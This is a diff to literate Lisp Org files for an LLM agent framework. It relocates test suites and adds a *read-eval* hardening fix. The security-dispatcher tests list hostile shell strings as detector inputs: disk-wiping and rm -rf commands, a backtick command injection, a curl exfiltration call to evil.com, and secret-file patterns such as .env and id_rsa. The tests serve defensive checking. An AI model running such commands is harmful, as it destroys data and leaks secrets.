1d3e3bb..b488249 100644 --- a/org/programming-tools.org +++ b/org/programming-tools.org @@ -51,6 +51,182 @@ in the /last/ tool execution, matching the tool-execution visualization pattern from v0.7.1. Cumulative file tracking belongs in the version control system. +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-programming-tools-tests + (:use :cl :fiveam :passepartout) + (:export #:programming-tools-suite)) + +(in-package :passepartout-programming-tools-tests) + +(def-suite programming-tools-suite :description "Verification of programming cognitive tools") +(in-suite programming-tools-suite) + +(defun tools-tmpdir () + (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname)))) + (uiop:ensure-all-directories-exist (list d)) + d)) + +(defun tools-cleanup () + (let ((d (tools-tmpdir))) + (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore))) + +(defun tools-write-file (filepath content) + (uiop:ensure-all-directories-exist (list filepath)) + (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) + (write-string content stream))) + +(defun call-tool (tool-name &rest args) + (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) + (unless tool (error "Tool ~a not found" tool-name)) + (funcall (cognitive-tool-body tool) args))) + +;; search-files +(test test-search-files-finds-matches + "Contract 1: search-files finds lines matching a regex pattern." + (let* ((dir (tools-tmpdir)) + (file-a (merge-pathnames "src-a.lisp" dir)) + (file-b (merge-pathnames "src-b.lisp" dir))) + (tools-write-file file-a "(defun foo () 'hello)") + (tools-write-file file-b "(defun bar () 'world)") + (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp"))) + (is (eq (getf result :status) :success)) + (is (search "src-a.lisp:1:" (getf result :content))) + (is (search "src-b.lisp:1:" (getf result :content)))) + (tools-cleanup))) + +(test test-search-files-missing-params + "search-files returns error when required params are missing." + (let ((result (call-tool 'search-files :pattern "x"))) + (is (eq (getf result :status) :error)))) + +;; find-files +(test test-find-files-by-extension + "Contract 5: find-files returns files matching a glob." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "a.lisp" dir) "test") + (tools-write-file (merge-pathnames "b.lisp" dir) "test") + (tools-write-file (merge-pathnames "c.org" dir) "test") + (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "a.lisp" (getf result :content))) + (is (search "b.lisp" (getf result :content))) + (is (not (search "c.org" (getf result :content))))) + (tools-cleanup))) + +(test test-find-files-missing-params + "find-files returns error without required params." + (let ((result (call-tool 'find-files :pattern "*.lisp"))) + (is (eq (getf result :status) :error)))) + +;; read-file +(test test-read-file-full + "Contract 6: read-file returns full file contents." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "readme.txt" dir))) + (tools-write-file file (format nil "line one~%line two~%line three")) + (let ((result (call-tool 'read-file :filepath (namestring file)))) + (is (eq (getf result :status) :success)) + (is (search "line one" (getf result :content)))) + (tools-cleanup))) + +(test test-read-file-missing-params + "read-file returns error without :filepath." + (let ((result (call-tool 'read-file))) + (is (eq (getf result :status) :error)))) + +;; write-file +(test test-write-file-creates + "Contract 7: write-file creates file with content." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "output.txt" dir))) + (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world"))) + (is (eq (getf result :status) :success)) + (is (search "11 bytes" (getf result :content)))) + (is (string-equal "hello world" (uiop:read-file-string file))) + (tools-cleanup))) + +(test test-write-file-missing-params + "write-file returns error without required params." + (let ((result (call-tool 'write-file :content "x"))) + (is (eq (getf result :status) :error)))) + +;; list-directory +(test test-list-directory-all + "Contract 8: list-directory returns all entries." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "alpha.txt" dir) "x") + (tools-write-file (merge-pathnames "beta.txt" dir) "y") + (let ((result (call-tool 'list-directory :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "alpha.txt" (getf result :content))) + (is (search "beta.txt" (getf result :content)))) + (tools-cleanup))) + +(test test-list-directory-missing-params + "list-directory returns error without :path." + (let ((result (call-tool 'list-directory))) + (is (eq (getf result :status) :error)))) + +;; run-shell +(test test-run-shell-echo + "Contract 9: run-shell executes a command and returns output." + (let ((result (call-tool 'run-shell :cmd "echo hello"))) + (is (eq (getf result :status) :success)) + (is (search "hello" (getf result :content))))) + +(test test-run-shell-missing-params + "run-shell returns error without :cmd." + (let ((result (call-tool 'run-shell))) + (is (eq (getf result :status) :error)))) + +;; eval-form +(test test-eval-form-arithmetic + "Contract 10: eval-form evaluates a Lisp expression." + (let ((result (call-tool 'eval-form :code "(+ 1 2)"))) + (is (eq (getf result :status) :success)) + (is (search "3" (getf result :content))))) + +(test test-eval-form-missing-params + "eval-form returns error without :code." + (let ((result (call-tool 'eval-form))) + (is (eq (getf result :status) :error)))) + +;; org-modify-file +(test test-org-modify-file-replace + "Contract 13: org-modify-file replaces exact text in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "doc.org" dir))) + (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "TODO" :new-text "WAITING"))) + (is (eq (getf result :status) :success)) + (is (search "WAITING" (uiop:read-file-string file)))) + (tools-cleanup))) + +(test test-org-modify-file-not-found + "org-modify-file returns error when text not in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "file.org" dir))) + (tools-write-file file "some content") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "not-in-file" :new-text "anything"))) + (is (eq (getf result :status) :error)) + (is (search "not found" (getf result :message)))) + (tools-cleanup))) + +(test test-org-modify-file-missing-params + "org-modify-file returns error without required params." + (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y"))) + (is (eq (getf result :status) :error)))) +#+end_src + * Implementation ** Package Context @@ -639,182 +815,6 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip (setf *modified-files-this-turn* nil))) #+end_src -* Test Suite - -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-programming-tools-tests - (:use :cl :fiveam :passepartout) - (:export #:programming-tools-suite)) - -(in-package :passepartout-programming-tools-tests) - -(def-suite programming-tools-suite :description "Verification of programming cognitive tools") -(in-suite programming-tools-suite) - -(defun tools-tmpdir () - (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname)))) - (uiop:ensure-all-directories-exist (list d)) - d)) - -(defun tools-cleanup () - (let ((d (tools-tmpdir))) - (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore))) - -(defun tools-write-file (filepath content) - (uiop:ensure-all-directories-exist (list filepath)) - (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) - (write-string content stream))) - -(defun call-tool (tool-name &rest args) - (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) - (unless tool (error "Tool ~a not found" tool-name)) - (funcall (cognitive-tool-body tool) args))) - -;; search-files -(test test-search-files-finds-matches - "Contract 1: search-files finds lines matching a regex pattern." - (let* ((dir (tools-tmpdir)) - (file-a (merge-pathnames "src-a.lisp" dir)) - (file-b (merge-pathnames "src-b.lisp" dir))) - (tools-write-file file-a "(defun foo () 'hello)") - (tools-write-file file-b "(defun bar () 'world)") - (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp"))) - (is (eq (getf result :status) :success)) - (is (search "src-a.lisp:1:" (getf result :content))) - (is (search "src-b.lisp:1:" (getf result :content)))) - (tools-cleanup))) - -(test test-search-files-missing-params - "search-files returns error when required params are missing." - (let ((result (call-tool 'search-files :pattern "x"))) - (is (eq (getf result :status) :error)))) - -;; find-files -(test test-find-files-by-extension - "Contract 5: find-files returns files matching a glob." - (let ((dir (tools-tmpdir))) - (tools-write-file (merge-pathnames "a.lisp" dir) "test") - (tools-write-file (merge-pathnames "b.lisp" dir) "test") - (tools-write-file (merge-pathnames "c.org" dir) "test") - (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir)))) - (is (eq (getf result :status) :success)) - (is (search "a.lisp" (getf result :content))) - (is (search "b.lisp" (getf result :content))) - (is (not (search "c.org" (getf result :content))))) - (tools-cleanup))) - -(test test-find-files-missing-params - "find-files returns error without required params." - (let ((result (call-tool 'find-files :pattern "*.lisp"))) - (is (eq (getf result :status) :error)))) - -;; read-file -(test test-read-file-full - "Contract 6: read-file returns full file contents." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "readme.txt" dir))) - (tools-write-file file (format nil "line one~%line two~%line three")) - (let ((result (call-tool 'read-file :filepath (namestring file)))) - (is (eq (getf result :status) :success)) - (is (search "line one" (getf result :content)))) - (tools-cleanup))) - -(test test-read-file-missing-params - "read-file returns error without :filepath." - (let ((result (call-tool 'read-file))) - (is (eq (getf result :status) :error)))) - -;; write-file -(test test-write-file-creates - "Contract 7: write-file creates file with content." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "output.txt" dir))) - (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world"))) - (is (eq (getf result :status) :success)) - (is (search "11 bytes" (getf result :content)))) - (is (string-equal "hello world" (uiop:read-file-string file))) - (tools-cleanup))) - -(test test-write-file-missing-params - "write-file returns error without required params." - (let ((result (call-tool 'write-file :content "x"))) - (is (eq (getf result :status) :error)))) - -;; list-directory -(test test-list-directory-all - "Contract 8: list-directory returns all entries." - (let ((dir (tools-tmpdir))) - (tools-write-file (merge-pathnames "alpha.txt" dir) "x") - (tools-write-file (merge-pathnames "beta.txt" dir) "y") - (let ((result (call-tool 'list-directory :path (namestring dir)))) - (is (eq (getf result :status) :success)) - (is (search "alpha.txt" (getf result :content))) - (is (search "beta.txt" (getf result :content)))) - (tools-cleanup))) - -(test test-list-directory-missing-params - "list-directory returns error without :path." - (let ((result (call-tool 'list-directory))) - (is (eq (getf result :status) :error)))) - -;; run-shell -(test test-run-shell-echo - "Contract 9: run-shell executes a command and returns output." - (let ((result (call-tool 'run-shell :cmd "echo hello"))) - (is (eq (getf result :status) :success)) - (is (search "hello" (getf result :content))))) - -(test test-run-shell-missing-params - "run-shell returns error without :cmd." - (let ((result (call-tool 'run-shell))) - (is (eq (getf result :status) :error)))) - -;; eval-form -(test test-eval-form-arithmetic - "Contract 10: eval-form evaluates a Lisp expression." - (let ((result (call-tool 'eval-form :code "(+ 1 2)"))) - (is (eq (getf result :status) :success)) - (is (search "3" (getf result :content))))) - -(test test-eval-form-missing-params - "eval-form returns error without :code." - (let ((result (call-tool 'eval-form))) - (is (eq (getf result :status) :error)))) - -;; org-modify-file -(test test-org-modify-file-replace - "Contract 13: org-modify-file replaces exact text in file." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "doc.org" dir))) - (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%") - (let ((result (call-tool 'org-modify-file - :filepath (namestring file) - :old-text "TODO" :new-text "WAITING"))) - (is (eq (getf result :status) :success)) - (is (search "WAITING" (uiop:read-file-string file)))) - (tools-cleanup))) - -(test test-org-modify-file-not-found - "org-modify-file returns error when text not in file." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "file.org" dir))) - (tools-write-file file "some content") - (let ((result (call-tool 'org-modify-file - :filepath (namestring file) - :old-text "not-in-file" :new-text "anything"))) - (is (eq (getf result :status) :error)) - (is (search "not found" (getf result :message)))) - (tools-cleanup))) - -(test test-org-modify-file-missing-params - "org-modify-file returns error without required params." - (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y"))) - (is (eq (getf result :status) :error)))) -#+end_src - * v0.8.0 Tests — Modified Files Tracking #+begin_src lisp (in-package :passepartout-programming-tools-tests) diff --git a/org/security-dispatcher.org b/org/security-dispatcher.org index ac2c213..bd678a4 100644 --- a/org/security-dispatcher.org +++ b/org/security-dispatcher.org @@ -80,6 +80,196 @@ daemon restarts — it tracks what happened /this/ session, which is what the sidebar shows. Historical block telemetry belongs in the telemetry system (v0.12.0). +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-dispatcher-tests + (:use :cl :fiveam :passepartout) + (:export #:dispatcher-suite)) + +(in-package :passepartout-security-dispatcher-tests) + +(def-suite dispatcher-suite :description "Verification of the Security Dispatcher") +(in-suite dispatcher-suite) + +(test test-wildcard-match + "Contract 1: wildcard pattern * matches any characters." + (is (wildcard-match "*.env" ".env")) + (is (wildcard-match "*.env" "prod.env")) + (is (wildcard-match "*credential*" "my-credential-file")) + (is (wildcard-match "*.key" "id_rsa.key")) + (is (not (wildcard-match "*.env" "config.yaml")))) + +(test test-check-secret-path + "Contract 2: dispatcher-check-secret-path matches protected patterns." + (is (dispatcher-check-secret-path ".env")) + (is (dispatcher-check-secret-path "id_rsa")) + (is (not (dispatcher-check-secret-path "README.org")))) + +(test test-self-build-core-protection + "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE." + ;; Core paths are recognized + (is (passepartout::dispatcher-check-core-path "core-reason.org")) + (is (passepartout::dispatcher-check-core-path "core-memory.lisp")) + (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org"))) + ;; With SELF_BUILD_MODE=true, core writes produce approval-required + (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x"))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let ((result (dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false")) + ;; With SELF_BUILD_MODE=false (default), writes pass through + (let ((result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type)))))) + +(test test-check-shell-safety + "Contract 3: dispatcher-check-shell-safety detects dangerous commands." + (is (dispatcher-check-shell-safety "rm -rf /")) + (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) + (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) + (is (not (dispatcher-check-shell-safety "echo hello world"))) + (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) + +(test test-shell-safety-severity-catastrophic + "Contract 3/v0.4.3: destructive commands return :catastrophic severity." + (let ((r1 (dispatcher-check-shell-safety "rm -rf /")) + (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda"))) + (is (eq :catastrophic (getf r1 :severity))) + (is (eq :catastrophic (getf r2 :severity))))) + +(test test-shell-safety-severity-dangerous + "Contract 3/v0.4.3: injection patterns return :dangerous severity." + (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`"))) + (is (eq :dangerous (getf result :severity))))) + +(test test-shell-safety-severity-safe + "Contract 3/v0.4.3: harmless commands return nil." + (is (null (dispatcher-check-shell-safety "echo hello world"))) + (is (null (dispatcher-check-shell-safety "ls -la /tmp"))) + (is (null (dispatcher-check-shell-safety "cat file.txt")))) + +(test test-dispatcher-severity-max + "dispatcher-severity-max returns the higher tier." + (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous))) + (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic))) + (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous))) + (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless)))) + +(test test-check-privacy-tags + "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." + (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) + (is (dispatcher-check-privacy-tags '("@personal"))) + (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) + +(test test-check-network-exfil + "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." + (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) + (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) + (is (not (dispatcher-check-network-exfil "echo hello")))) + +;; ── v0.7.2 Tag Stack ── + +(test test-tag-categories-load + "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*." + (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log") + (passepartout::tag-categories-load) + (let ((cats passepartout::*tag-categories*)) + (is (>= (length cats) 1)) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :warn (passepartout::tag-category-severity "@draft"))) + (is (eq :log (passepartout::tag-category-severity "@review")))) + (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil))) + +(test test-tag-category-severity-unknown + "Contract v0.7.2: unknown tag returns nil." + (is (null (passepartout::tag-category-severity "@nonexistent-xxxx")))) + +(test test-privacy-severity-block + "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content." + (setf passepartout::*tag-categories* '(("@personal" . :block))) + (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal"))))) + +(test test-privacy-severity-warn + "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content." + (setf passepartout::*tag-categories* '(("@draft" . :warn))) + (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft"))))) + +(test test-privacy-severity-nil + "v0.7.2: dispatcher-privacy-severity returns nil for untagged content." + (setf passepartout::*tag-categories* nil) + (is (null (passepartout::dispatcher-privacy-severity '("public"))))) + +(test test-tag-trigger-record + "v0.7.2: tag-trigger-record increments per-tag count." + (clrhash passepartout::*tag-trigger-count*) + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@personal") + (passepartout::tag-trigger-record "@draft") + (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0))) + (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0))) + (clrhash passepartout::*tag-trigger-count*)) + +(test test-tag-categories-privacy-fallback + "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set." + (let ((orig-tag (uiop:getenv "TAG_CATEGORIES")) + (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")) + (saved-tag (uiop:getenv "TAG_CATEGORIES")) + (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))) + ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES + (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1) + (sb-posix:unsetenv "TAG_CATEGORIES") + (passepartout::tag-categories-load) + (is (eq :block (passepartout::tag-category-severity "@personal"))) + (is (eq :block (passepartout::tag-category-severity "@draft"))) + ;; Restore + (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1)) + (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1)) + (passepartout::tag-categories-load))) + +(test test-safe-tool-read-only-auto-approve + "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." + (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "test-ro-tool" + :description "Read-only test" + :parameters nil + :guard nil + :body nil + :read-only-p t)) + (unwind-protect + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) + (result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type))) + (is (not (member (getf result :type) '(:LOG :approval-required))))) + (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) + +(test test-safe-tool-write-still-checked + "Contract v0.7.2: write tools still go through full dispatcher check." + (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*))) + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "write-file" + :description "File writer" + :parameters nil + :guard nil + :body nil + :read-only-p nil)) + (unwind-protect + (progn + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) + (result (dispatcher-check action nil))) + (is (eq :approval-required (getf result :level))) + (is (search "HITL" (getf (getf result :payload) :message))))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false") + (if orig-tool + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool) + (remhash "write-file" passepartout::*cognitive-tool-registry*))))) +#+end_src + * Implementation ** Package Context @@ -603,7 +793,7 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path, (action-str (getf attrs :ACTION))) (when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str) (log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node)) - (let ((action (ignore-errors (read-from-string action-str)))) + (let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str))))) (when action (setf (getf action :approved) t) (stimulus-inject (list :type :EVENT @@ -802,196 +992,6 @@ from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard. (list :total total :by-gate sorted))) #+end_src -* Test Suite - -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-dispatcher-tests - (:use :cl :fiveam :passepartout) - (:export #:dispatcher-suite)) - -(in-package :passepartout-security-dispatcher-tests) - -(def-suite dispatcher-suite :description "Verification of the Security Dispatcher") -(in-suite dispatcher-suite) - -(test test-wildcard-match - "Contract 1: wildcard pattern * matches any characters." - (is (wildcard-match "*.env" ".env")) - (is (wildcard-match "*.env" "prod.env")) - (is (wildcard-match "*credential*" "my-credential-file")) - (is (wildcard-match "*.key" "id_rsa.key")) - (is (not (wildcard-match "*.env" "config.yaml")))) - -(test test-check-secret-path - "Contract 2: dispatcher-check-secret-path matches protected patterns." - (is (dispatcher-check-secret-path ".env")) - (is (dispatcher-check-secret-path "id_rsa")) - (is (not (dispatcher-check-secret-path "README.org")))) - -(test test-self-build-core-protection - "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE." - ;; Core paths are recognized - (is (passepartout::dispatcher-check-core-path "core-reason.org")) - (is (passepartout::dispatcher-check-core-path "core-memory.lisp")) - (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org"))) - ;; With SELF_BUILD_MODE=true, core writes produce approval-required - (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x"))))) - (setf (uiop:getenv "SELF_BUILD_MODE") "true") - (let ((result (dispatcher-check action nil))) - (is (eq :approval-required (getf result :level))) - (setf (uiop:getenv "SELF_BUILD_MODE") "false")) - ;; With SELF_BUILD_MODE=false (default), writes pass through - (let ((result (dispatcher-check action nil))) - (is (eq :REQUEST (getf result :type)))))) - -(test test-check-shell-safety - "Contract 3: dispatcher-check-shell-safety detects dangerous commands." - (is (dispatcher-check-shell-safety "rm -rf /")) - (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) - (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) - (is (not (dispatcher-check-shell-safety "echo hello world"))) - (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) - -(test test-shell-safety-severity-catastrophic - "Contract 3/v0.4.3: destructive commands return :catastrophic severity." - (let ((r1 (dispatcher-check-shell-safety "rm -rf /")) - (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda"))) - (is (eq :catastrophic (getf r1 :severity))) - (is (eq :catastrophic (getf r2 :severity))))) - -(test test-shell-safety-severity-dangerous - "Contract 3/v0.4.3: injection patterns return :dangerous severity." - (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`"))) - (is (eq :dangerous (getf result :severity))))) - -(test test-shell-safety-severity-safe - "Contract 3/v0.4.3: harmless commands return nil." - (is (null (dispatcher-check-shell-safety "echo hello world"))) - (is (null (dispatcher-check-shell-safety "ls -la /tmp"))) - (is (null (dispatcher-check-shell-safety "cat file.txt")))) - -(test test-dispatcher-severity-max - "dispatcher-severity-max returns the higher tier." - (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous))) - (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic))) - (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous))) - (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless)))) - -(test test-check-privacy-tags - "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." - (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) - (is (dispatcher-check-privacy-tags '("@personal"))) - (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) - -(test test-check-network-exfil - "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." - (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) - (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) - (is (not (dispatcher-check-network-exfil "echo hello")))) - -;; ── v0.7.2 Tag Stack ── - -(test test-tag-categories-load - "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*." - (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log") - (passepartout::tag-categories-load) - (let ((cats passepartout::*tag-categories*)) - (is (>= (length cats) 1)) - (is (eq :block (passepartout::tag-category-severity "@personal"))) - (is (eq :warn (passepartout::tag-category-severity "@draft"))) - (is (eq :log (passepartout::tag-category-severity "@review")))) - (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil))) - -(test test-tag-category-severity-unknown - "Contract v0.7.2: unknown tag returns nil." - (is (null (passepartout::tag-category-severity "@nonexistent-xxxx")))) - -(test test-privacy-severity-block - "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content." - (setf passepartout::*tag-categories* '(("@personal" . :block))) - (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal"))))) - -(test test-privacy-severity-warn - "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content." - (setf passepartout::*tag-categories* '(("@draft" . :warn))) - (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft"))))) - -(test test-privacy-severity-nil - "v0.7.2: dispatcher-privacy-severity returns nil for untagged content." - (setf passepartout::*tag-categories* nil) - (is (null (passepartout::dispatcher-privacy-severity '("public"))))) - -(test test-tag-trigger-record - "v0.7.2: tag-trigger-record increments per-tag count." - (clrhash passepartout::*tag-trigger-count*) - (passepartout::tag-trigger-record "@personal") - (passepartout::tag-trigger-record "@personal") - (passepartout::tag-trigger-record "@draft") - (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0))) - (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0))) - (clrhash passepartout::*tag-trigger-count*)) - -(test test-tag-categories-privacy-fallback - "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set." - (let ((orig-tag (uiop:getenv "TAG_CATEGORIES")) - (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")) - (saved-tag (uiop:getenv "TAG_CATEGORIES")) - (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))) - ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES - (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1) - (sb-posix:unsetenv "TAG_CATEGORIES") - (passepartout::tag-categories-load) - (is (eq :block (passepartout::tag-category-severity "@personal"))) - (is (eq :block (passepartout::tag-category-severity "@draft"))) - ;; Restore - (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1)) - (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1)) - (passepartout::tag-categories-load))) - -(test test-safe-tool-read-only-auto-approve - "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." - (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "test-ro-tool" - :description "Read-only test" - :parameters nil - :guard nil - :body nil - :read-only-p t)) - (unwind-protect - (let* ((action '(:TYPE :REQUEST :TARGET :tool - :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) - (result (dispatcher-check action nil))) - (is (eq :REQUEST (getf result :type))) - (is (not (member (getf result :type) '(:LOG :approval-required))))) - (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) - -(test test-safe-tool-write-still-checked - "Contract v0.7.2: write tools still go through full dispatcher check." - (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*))) - (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "write-file" - :description "File writer" - :parameters nil - :guard nil - :body nil - :read-only-p nil)) - (unwind-protect - (progn - (setf (uiop:getenv "SELF_BUILD_MODE") "true") - (let* ((action '(:TYPE :REQUEST :TARGET :tool - :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) - (result (dispatcher-check action nil))) - (is (eq :approval-required (getf result :level))) - (is (search "HITL" (getf (getf result :payload) :message))))) - (setf (uiop:getenv "SELF_BUILD_MODE") "false") - (if orig-tool - (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool) - (remhash "write-file" passepartout::*cognitive-tool-registry*))))) -#+end_src - * v0.8.0 Tests — Block Counts #+begin_src lisp (in-package :passepartout-security-dispatcher-tests) diff --git a/org/security-permissions.org b/org/security-permissions.org index a7a03f2..c9d7a37 100644 --- a/org/security-permissions.org +++ b/org/security-permissions.org @@ -25,6 +25,39 @@ consults this table as one of its ten scan vectors. - Does NOT persist permissions to disk — this is runtime-only. - Does NOT validate that ~level~ is one of ~(:allow :ask :deny)~. +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-security-permissions-tests + (:use :cl :fiveam :passepartout) + (:export #:permissions-suite)) + +(in-package :passepartout-security-permissions-tests) + +(def-suite permissions-suite :description "Verification of Tool Permissions") 